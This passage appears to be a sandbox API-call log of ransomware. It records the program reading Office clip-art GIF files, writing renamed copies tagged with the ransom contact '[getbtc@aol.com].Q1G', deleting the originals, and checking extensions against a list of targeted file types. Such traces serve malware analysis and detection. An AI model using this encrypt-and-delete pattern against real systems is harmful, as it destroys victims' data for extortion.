hTemplateFile=0x0) returned 0x3f0 [0255.318] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.318] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.319] GetLastError () returned 0x0 [0255.319] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2a92, lpOverlapped=0x0) returned 1 [0255.320] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2aa0, lpOverlapped=0x0) returned 1 [0255.322] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.322] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.322] SetEndOfFile (hFile=0x3d8) returned 1 [0255.322] CloseHandle (hObject=0x3d8) returned 1 [0255.322] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.322] SetEndOfFile (hFile=0x3f0) returned 1 [0255.324] CloseHandle (hObject=0x3f0) returned 1 [0255.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0255.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.325] lstrlenW (lpString=".doc") returned 4 [0255.325] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.325] lstrlenW (lpString=".docx") returned 5 [0255.325] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0255.325] lstrlenW (lpString=".pdf") returned 4 [0255.325] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.325] lstrlenW (lpString=".xls") returned 4 [0255.325] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.325] lstrlenW (lpString=".xlsx") returned 5 [0255.325] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0255.325] lstrlenW (lpString=".ppt") returned 4 [0255.325] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.325] lstrlenW (lpString=".zip") returned 4 [0255.325] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.325] lstrlenW (lpString=".rar") returned 4 [0255.325] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.325] lstrlenW (lpString=".bz2") returned 4 [0255.325] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.325] lstrlenW (lpString=".7z") returned 3 [0255.325] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.325] lstrlenW (lpString=".dbf") returned 4 [0255.325] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.325] lstrlenW (lpString=".1cd") returned 4 [0255.325] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".jpg") returned 4 [0255.326] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".doc") returned 4 [0255.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.326] lstrlenW (lpString=".docx") returned 5 [0255.326] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0255.326] lstrlenW (lpString=".pdf") returned 4 [0255.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString=".xls") returned 4 [0255.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString=".xlsx") returned 5 [0255.326] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0255.326] lstrlenW (lpString=".ppt") returned 4 [0255.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".zip") returned 4 [0255.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString=".rar") returned 4 [0255.326] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.326] lstrlenW (lpString=".bz2") returned 4 [0255.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.326] lstrlenW (lpString=".7z") returned 3 [0255.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".dbf") returned 4 [0255.326] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".1cd") returned 4 [0255.326] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0255.326] lstrlenW (lpString=".jpg") returned 4 [0255.326] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.327] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.327] lstrlenW (lpString="J0099198.GIF") returned 12 [0255.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.327] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5259) returned 1 [0255.327] CloseHandle (hObject=0x3f0) returned 1 [0255.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0255.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.328] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.328] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.328] GetLastError () returned 0x0 [0255.328] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x148b, lpOverlapped=0x0) returned 1 [0255.330] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0255.331] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.331] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.331] SetEndOfFile (hFile=0x3d8) returned 1 [0255.331] CloseHandle (hObject=0x3d8) returned 1 [0255.331] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.331] SetEndOfFile (hFile=0x3f0) returned 1 [0255.333] CloseHandle (hObject=0x3f0) returned 1 [0255.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0255.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.334] lstrlenW (lpString=".doc") returned 4 [0255.334] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.334] lstrlenW (lpString=".docx") returned 5 [0255.334] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0255.334] lstrlenW (lpString=".pdf") returned 4 [0255.334] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.334] lstrlenW (lpString=".xls") returned 4 [0255.334] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.334] lstrlenW (lpString=".xlsx") returned 5 [0255.334] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0255.334] lstrlenW (lpString=".ppt") returned 4 [0255.334] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.334] lstrlenW (lpString=".zip") returned 4 [0255.334] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.334] lstrlenW (lpString=".rar") returned 4 [0255.334] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.334] lstrlenW (lpString=".bz2") returned 4 [0255.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.335] lstrlenW (lpString=".7z") returned 3 [0255.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString=".dbf") returned 4 [0255.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString=".1cd") returned 4 [0255.335] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString=".jpg") returned 4 [0255.335] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString=".doc") returned 4 [0255.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.335] lstrlenW (lpString=".docx") returned 5 [0255.335] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0255.335] lstrlenW (lpString=".pdf") returned 4 [0255.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.335] lstrlenW (lpString=".xls") returned 4 [0255.335] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.335] lstrlenW (lpString=".xlsx") returned 5 [0255.335] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0255.335] lstrlenW (lpString=".ppt") returned 4 [0255.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.335] lstrlenW (lpString=".zip") returned 4 [0255.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.336] lstrlenW (lpString=".rar") returned 4 [0255.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.336] lstrlenW (lpString=".bz2") returned 4 [0255.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.336] lstrlenW (lpString=".7z") returned 3 [0255.336] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.336] lstrlenW (lpString=".dbf") returned 4 [0255.336] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.336] lstrlenW (lpString=".1cd") returned 4 [0255.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0255.336] lstrlenW (lpString=".jpg") returned 4 [0255.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.336] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.336] lstrlenW (lpString="J0099199.GIF") returned 12 [0255.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.337] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=33975) returned 1 [0255.337] CloseHandle (hObject=0x3f0) returned 1 [0255.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0255.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.337] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.337] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.338] GetLastError () returned 0x0 [0255.338] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x84b7, lpOverlapped=0x0) returned 1 [0255.340] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x84c0, lpOverlapped=0x0) returned 1 [0255.341] ReadFile (in: hFile=0x3f0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.341] WriteFile (in: hFile=0x3d8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.341] SetEndOfFile (hFile=0x3d8) returned 1 [0255.341] CloseHandle (hObject=0x3d8) returned 1 [0255.341] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.342] SetEndOfFile (hFile=0x3f0) returned 1 [0255.344] CloseHandle (hObject=0x3f0) returned 1 [0255.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString=".doc") returned 4 [0255.345] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.345] lstrlenW (lpString=".docx") returned 5 [0255.345] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0255.345] lstrlenW (lpString=".pdf") returned 4 [0255.345] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.345] lstrlenW (lpString=".xls") returned 4 [0255.345] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.345] lstrlenW (lpString=".xlsx") returned 5 [0255.345] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0255.345] lstrlenW (lpString=".ppt") returned 4 [0255.345] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString=".zip") returned 4 [0255.345] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.345] lstrlenW (lpString=".rar") returned 4 [0255.345] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.345] lstrlenW (lpString=".bz2") returned 4 [0255.345] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.345] lstrlenW (lpString=".7z") returned 3 [0255.345] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString=".dbf") returned 4 [0255.345] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString=".1cd") returned 4 [0255.345] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.345] lstrlenW (lpString=".jpg") returned 4 [0255.345] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.346] lstrlenW (lpString=".doc") returned 4 [0255.346] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.346] lstrlenW (lpString=".docx") returned 5 [0255.346] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0255.418] lstrlenW (lpString=".pdf") returned 4 [0255.418] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.418] lstrlenW (lpString=".xls") returned 4 [0255.418] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.418] lstrlenW (lpString=".xlsx") returned 5 [0255.418] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0255.418] lstrlenW (lpString=".ppt") returned 4 [0255.418] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.418] lstrlenW (lpString=".zip") returned 4 [0255.418] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.418] lstrlenW (lpString=".rar") returned 4 [0255.418] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.418] lstrlenW (lpString=".bz2") returned 4 [0255.418] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.418] lstrlenW (lpString=".7z") returned 3 [0255.418] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.418] lstrlenW (lpString=".dbf") returned 4 [0255.418] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.418] lstrlenW (lpString=".1cd") returned 4 [0255.418] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0255.418] lstrlenW (lpString=".jpg") returned 4 [0255.418] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.418] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.418] lstrlenW (lpString="J0099202.GIF") returned 12 [0255.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0255.421] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4967) returned 1 [0255.421] CloseHandle (hObject=0x3ac) returned 1 [0255.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0255.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.425] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.425] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 